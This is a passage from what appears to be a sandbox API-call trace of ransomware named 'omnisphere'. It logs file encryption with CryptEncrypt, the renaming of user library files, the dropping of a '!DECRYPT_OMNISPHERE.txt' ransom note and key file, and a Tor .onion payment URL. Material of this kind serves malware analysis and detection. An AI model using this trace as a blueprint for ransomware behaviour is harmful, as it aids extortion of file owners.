pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.137] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0118.137] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x80e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.138] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.138] GetProcessHeap () returned 0x1600000 [0118.138] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x169f978 [0118.138] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms.omnisphere")) returned 1 [0118.138] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.omnisphere.id" [0118.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.139] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.140] CloseHandle (hObject=0x3c0) returned 1 [0118.141] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.141] CloseHandle (hObject=0x288) returned 1 [0118.141] SetEndOfFile (hFile=0x28c) returned 1 [0118.141] FlushFileBuffers (hFile=0x28c) returned 1 [0118.147] CloseHandle (hObject=0x28c) returned 1 [0118.147] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.147] GetProcessHeap () returned 0x1600000 [0118.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169fc40 [0118.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.147] GetProcessHeap () returned 0x1600000 [0118.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693918 [0118.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693918, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.147] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.147] GetProcessHeap () returned 0x1600000 [0118.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16871c8 [0118.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16871c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.148] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.148] GetProcessHeap () returned 0x1600000 [0118.148] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a938 [0118.148] PathCombineW (in: pszDest=0x166a938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.148] GetProcessHeap () returned 0x1600000 [0118.148] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169bd48 [0118.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.148] WriteFile (in: hFile=0x28c, lpBuffer=0x169bd48*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169bd48*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.148] CloseHandle (hObject=0x28c) returned 1 [0118.148] GetProcessHeap () returned 0x1600000 [0118.148] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169fc40 | out: hHeap=0x1600000) returned 1 [0118.148] GetProcessHeap () returned 0x1600000 [0118.148] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1631968 [0118.148] PathCombineW (in: pszDest=0x1631968, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.149] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.149] CloseHandle (hObject=0x28c) returned 1 [0118.149] GetProcessHeap () returned 0x1600000 [0118.149] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631968 | out: hHeap=0x1600000) returned 1 [0118.149] GetProcessHeap () returned 0x1600000 [0118.149] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630d30 | out: hHeap=0x1600000) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce2a504f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce2a504f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x80e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 0 [0118.149] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0118.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2782da1c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2782da1c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2782da1c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2782da1c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27727926, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27727926, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27853cdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce14db28, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x276fc6ed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe26, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CameraRoll.library-ms.omnisphere", cAlternateFileName="CAMERA~1.OMN")) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276fc6ed, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x276fc6ed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276fc6ed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CameraRoll.library-ms.omnisphere.id", cAlternateFileName="CAMERA~1.ID")) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x27748b74, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6e7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere", cAlternateFileName="")) returned 1 [0118.149] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27748b74, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27748b74, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27748b74, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce363c46, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2776ee1d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Documents.library-ms.omnisphere", cAlternateFileName="DOCUME~1.OMN")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2776ee1d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2776ee1d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2776ee1d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Documents.library-ms.omnisphere.id", cAlternateFileName="DOCUME~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x441aa510, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4bb176, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x27795025, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xd2b, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Music.library-ms.omnisphere", cAlternateFileName="MUSICL~1.OMN")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27795025, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27795025, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27795025, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Music.library-ms.omnisphere.id", cAlternateFileName="MUSICL~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce3fc5a7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x277bb2fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xd3d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Pictures.library-ms.omnisphere", cAlternateFileName="PICTUR~1.OMN")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x277bb2fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x277bb2fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x277bb2fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Pictures.library-ms.omnisphere.id", cAlternateFileName="PICTUR~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce10167a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x27807a4b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="SavedPictures.library-ms.omnisphere", cAlternateFileName="SAVEDP~1.OMN")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27807a4b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27807a4b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27807a4b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="SavedPictures.library-ms.omnisphere.id", cAlternateFileName="SAVEDP~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27727926, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27727926, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27853cdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce2a504f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2782da1c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Videos.library-ms.omnisphere", cAlternateFileName="VIDEOS~1.OMN")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2782da1c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2782da1c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2782da1c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Videos.library-ms.omnisphere.id", cAlternateFileName="VIDEOS~1.ID")) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2782da1c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2782da1c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2782da1c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Videos.library-ms.omnisphere.id", cAlternateFileName="VIDEOS~1.ID")) returned 0 [0118.150] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0118.150] GetProcessHeap () returned 0x1600000 [0118.150] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c1f0 | out: hHeap=0x1600000) returned 1 [0118.150] GetProcessHeap () returned 0x1600000 [0118.150] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633918 | out: hHeap=0x1600000) returned 1 [0118.150] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0118.150] GetProcessHeap () returned 0x1600000 [0118.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e728 [0118.150] PathCombineW (in: pszDest=0x165e728, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Network Shortcuts" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0118.150] GetProcessHeap () returned 0x1600000 [0118.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656388 [0118.150] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0118.150] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, 